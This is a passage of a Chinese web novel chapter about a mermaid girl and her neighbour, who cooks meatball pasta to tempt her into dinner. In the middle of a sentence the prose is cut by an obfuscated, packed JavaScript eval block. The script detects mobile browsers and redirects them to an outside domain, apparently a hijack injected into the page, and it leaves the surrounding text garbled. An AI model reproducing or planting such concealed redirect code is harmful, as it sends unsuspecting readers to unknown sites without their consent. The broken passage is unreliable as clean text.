余渝仰起头来，挺翘的鼻尖轻动。 【好香啊】 员工宿舍是一梯四户的格局，每户的面积大小和布局不同，有一居室和两居室之分。 听图兰说，隔壁那间屋子是间面积很大的两居室，自从原本住在那里的老员工离职后，便一直空着，无人居住。 余渝肯定，今天早上那间屋子还处于无人居住的状态。 唔，是新邻居吗？ 她现在居然有一个人类邻居诶！ 余渝把推拉门开到最大，雀跃地敲响和邻居家相邻的一侧隔窗。 “哗啦”一声。 邻居家的窗户被迅速打开，露出一张熟悉的英挺面庞。 “考官？” 只见对面的好看邻居穿着一身黑色的工字背心，外套一条红色的棉布围裙。 可能是因为室内有些闷热的缘故，他赤着双臂，肱二头肌的线条流畅而漂亮。 或许这就是传说中的秀色可餐？ 余渝咽下快速分泌的口水。 不过，是错觉吗？ 他开窗这么快—— 是已经在窗前等了很久吗？ 13. 陷阱美人鱼 洋葱切碎，大蒜磨泥。 把猪肉馅和牛肉馅一比一混合，加入一半的洋葱末和蒜末。 适量盐调味，少许牛至叶和黑胡椒提香。 再加入两勺左右的面包屑和一个鸡蛋，这是丰富口感的关键。 如果还能加上一些牛奶和奶酪，余味里还会泛起淡淡奶香。 经过一下午的大采购，方砺满载而归。 他把崭新的锅具放在炉上，小火将少量橄榄油加热到微微冒泡。 洗净双手，把肉沫抓拌均匀，团成一个个乒乓球大小的肉丸，放到锅底，慢慢煎至金黄。 这时，金黄的肉丸在锅底微微颤动，整间厨房里都泛着令人愉悦的油脂香气。 把焦香四溢的肉丸小心盛出，锅里剩下的油还有大用处。 将剩下的另一半洋葱末和蒜末倒进锅中，借着剩余的荤油中小火爆香。 当洋葱和大蒜本身的辛辣被高温消解，油脂将两者的香料气味完美融合，这就是加入番茄丁的好时机了。 鲜红的番茄丁在锅中来回晃动，把身体中酸甜的汁水尽数贡献出来，与油脂带来的丰腴滋味一前一后，冲击着人类的味蕾。 但是仅仅凭借番茄本身的滋味还不够，番茄酱才是为这道菜提供风味的主要来源。 经过浓缩的番茄酱滋味更甚，红色的酱汁在锅中咕嘟冒泡，再把金黄的肉丸放入。 肉丸略微坚硬的焦皮被番茄的汁水慢慢软化，开始如饥似渴地把那酸甜的滋味一一收入腹中。 一时间，蒜香、肉香、奶香、番茄香被通通搅裹溶和，凝聚在这一锅小小的番茄肉丸里。 接下来，就把一切都交给时间。 把火关到最小，关上盖，让肉丸继续焖煮一会儿。 方砺满意地点点头。 看看窗外的夕阳，隔壁的姑娘大约也快醒了。 他把厨房的窗开到最大，让厨房的香气通通翻涌出去。 由于户型不一致，方砺的公寓厨房更靠近阳台，与隔壁相邻。 他心里略微估算了一下时间，快速地洗了个澡。 从浴室出来，他赤着胸膛在衣柜前挑挑拣拣，最后还是选了那件布料最少的工字背心。 【这样是不是太刻意了】 方砺犹豫了一瞬，最后还是欲盖弥彰地套了条超市送的大红围裙。 紧接着，他来到阳台的窗前“守株待兔”。 不过稍稍站了一会儿，方砺又开始觉得有些不对劲。 他沉吟一秒，轻轻“啊”了一声。 赶忙找来两个杠铃做了十分钟站姿弯举，让肱二头肌的线条维持在最漂亮的形状。 这时，隔壁的阳台传来一声微弱的响动。 方砺的大脑里已经自动浮现出这样一番场景：人鱼姑娘怯生生地把门拉开一线，仰头轻嗅。 时机不错。 此时的番茄肉丸卖相正好。 当然了，他也是。 阳台的窗户传来不出所料的敲击声。 方砺迅速拉开窗户，摆出一副有些疑惑不解的神情。 【最好教那不知情的人鱼姑娘】 【毫不设防地，一头撞进这甜蜜陷阱】 * “考官怎么在这里？” 余渝歪头，一双黑白分明的圆眼里，有着明晃晃的疑惑。 只要一看到这熟悉的可爱面庞，方砺就忍不住柔了眼神，懈了心魂。 他面上强作镇定，淡淡开口：“在青南还有一些后续工作，园区安排我暂时住在这里”。 事实上，他已经预约了房产中介，明天去看房，那是一栋海边别墅，卧室里有一整面巨大落地窗，可以看到海里有她喜欢的珊瑚礁。 只希望日后尽量不要惹她生气，否则人鱼姑娘一不开心就往海里一钻、再不见他，可怎生是好。 他的人生，又能有几个二十年用来等待？ 想到这里，方砺握着窗沿的指尖微微泛白，面上仍是毫无波澜。 “真的吗！”余渝发出不可置信地欢呼，“所以、所以考官以后就是我的邻居了吗！” 她的新邻居点点头，虽然是面无表情的模样，但不知为何，余渝觉得他好像有一点点不开心的样子。 唔，是不想和她做邻居吗！ 余渝心里突然有了一点点的伤心和失落。 但这样的负面情绪并没有维持很久，毕竟，她可是百折不挠的人鱼余渝啊！ 小小人类，看她立刻掳获他的芳心！ 余渝决定送一件超级珍贵的礼物给这位新邻居。 说干就干，余渝打算马上就把那件礼物翻找出来，送给这位她喜欢的人类邻居。 “稍等……”余渝刚想开口，却意外被打断。 “我做了晚饭，来一起吃吧” 诶？ 对面的人类邻居，好像，在邀请她吃饭？ 对面的人类邻居！好像！在邀请她吃饭！ 余渝心里当然千百个愿意！ 但是上岸指南的人情世故篇里说，人类的留饭邀请大都是场面话，倘若真留下来，反倒显得这个人很没有眼色。 况且，这种留饭邀请大都需要来回拉扯一番，就像老师在课堂里放的视频一样： 主人：饭都做好了，不少你这一双筷子！不留下就是不给我面子！ 客人：好大哥，家里都做好饭了！在外面吃老婆不高兴。下回，下回一定！ …… 把这样的类似对话重复三四次，最终一定是以主人站在家门口拊掌惋惜、客人抱拳承诺下次一定为结局。 如此，才算是一场宾主尽欢的留饭邀请。 余渝当然知道以上做法在人类世界里才是正常的、成熟的。 可是、可是她真的一点也不想拒绝面前这个人诶！ 余渝抬眸打量邻居的神色，好像在判断这个人的话几分真几分假。 却见新邻居眸色半倚着窗，深深地凝视着自己，五官英挺，嘴角带着一点温柔的笑意。 就好像，她是于他而言很珍贵的人一样，只能这样柔柔地看着，就连看重了一眼都生怕伤到。 夕阳照晚，橘色的光线轻飘飘地泼洒在人类长长的眼睫上，轻轻一动，像是上下扑闪的蝶。 这只蝴蝶好像突然飞到了余渝的心里。 不，好像有千百只飞闪的蝴蝶出现在她的心里，柔软的心脏被轻盈地触动，不疼，却有一种酥酥麻麻的痒。 余渝奇怪地捂了捂胸口的皮肤，又感觉好像不是那么痒。 原来人鱼上岸之后会得皮肤病吗？ 余渝决定今晚好好洗个澡。 “好哦，我洗个澡马上来！” 余渝才不要拒绝这好看的人类！ 她要用自己的真心，去结交这个可爱的人类朋友。 人类的场面话什么的，她才不想说呢。 知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337939|183406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世故，却不被世故所框束。 这才是明媚赤诚的余渝呀。 * 余渝披着半干的头发，一手拿着一只大大的贝壳，一手拎着些分装好的余渝妈私房小鱼干。 她严肃地按响人类邻居的门铃。 “门没有锁，直接开门进来吧”门内传来隐约人声。 余渝小心翼翼的拧开把手，轻轻探身进门。 这是一间五十平左右的二人间，进门左转是洗漱间，正中是空旷的客厅，两间卧室深掩着门，靠近阳台的厨房里矗立着一道高大的人影。 只见人类邻居仍旧穿着那条红色围裙，正站在低矮的灶前，弯腰把锅里的意面盛在盘中。 金黄的意面泛出热腾腾的水雾，把炖得软烂入味的番茄肉丸浇在面上，撒上一些绿色的罗勒叶和白色的芝士碎，叫人瞬间食指大动。 余渝手足无措地把礼物放在客厅的沙发边，不好意思地看着男人端出两盘意面放在客厅的茶几上。 “抱歉没有餐桌，在茶几上吃可以吗？”邻居脱下围裙，挂回厨房。 “当然不介意！”余渝回过神来，立刻回答。 这是一张小小的大理石茶几，摆放在沙发旁，放上盘子后竟没剩下多少空间。 两人不得不盘腿坐在地毯上。 或许是茶几与沙发间的空隙太过狭小，他们的膝盖不小心碰了一下。 方砺触电似地退开了一小段距离。 余渝毫无所觉。 她的目光已经被面前这盘肉丸意面完全吸引。 面香、肉香和番茄香争先恐后地往余渝鼻子里钻，顿时令人口舌生津。 这或许就是碳水化合物带来的快乐。 余渝沉醉似地深吸一口气，把这股味道牢牢记在脑海，这样即使过了一百年，她也能回忆起这股酸甜的滋味。 方砺向她递来一把锃亮的餐叉。 “那我开动了”，他并不客气，用餐叉卷起意面，动作有意放缓，好教对面的姑娘能够看清。 余渝仔细打量了一眼，随即有模有样地模仿起人类的动作，用餐叉卷起意面放入口中。 ！ 好好吃！ 软嫩的肉丸在嘴里爆开，流淌出惑人心神的脂香，不等这股香气蔓延到舌根，番茄的酸香又立刻追了上来，唔，最后这股甜甜的滋味，好像是奶酪的奶香！ 但这还不算完，胡椒的辛辣和罗勒叶的清香在最后才粉墨登场，叫人忍不住立刻在吃一口！ 人类邻居的厨艺好棒！ 【真的不可以把他拐回大海里养吗】 余渝失落了一瞬，立刻又被舌尖迸发的丰富滋味吸引了全副注意力。 她低头专注地大口进食起来，一缕半长不长的头发从额角滑落。 方砺盯着余渝蜡黄的半湿长发，笑着笑着，眼睛突然酸涩起来。 那年海边，他们也曾这样一起对坐着吃饭。 少女一头蓝紫相间的长发如镜，海藻似地拖曳到地上，像是能够反照月亮的光华。 直到有人粗暴地将它拽起，用一把生锈的剪刀尽数绞去，又毫不怜惜地重重扔下。 嗓子很沉。 即使心里有千言万语，却无法对她诉诸于口。 他说不出，她听不懂。 * 余渝抬起头，只见人类上扬的眼尾微微泛红。 她是不是，吃得太多了。 嗝～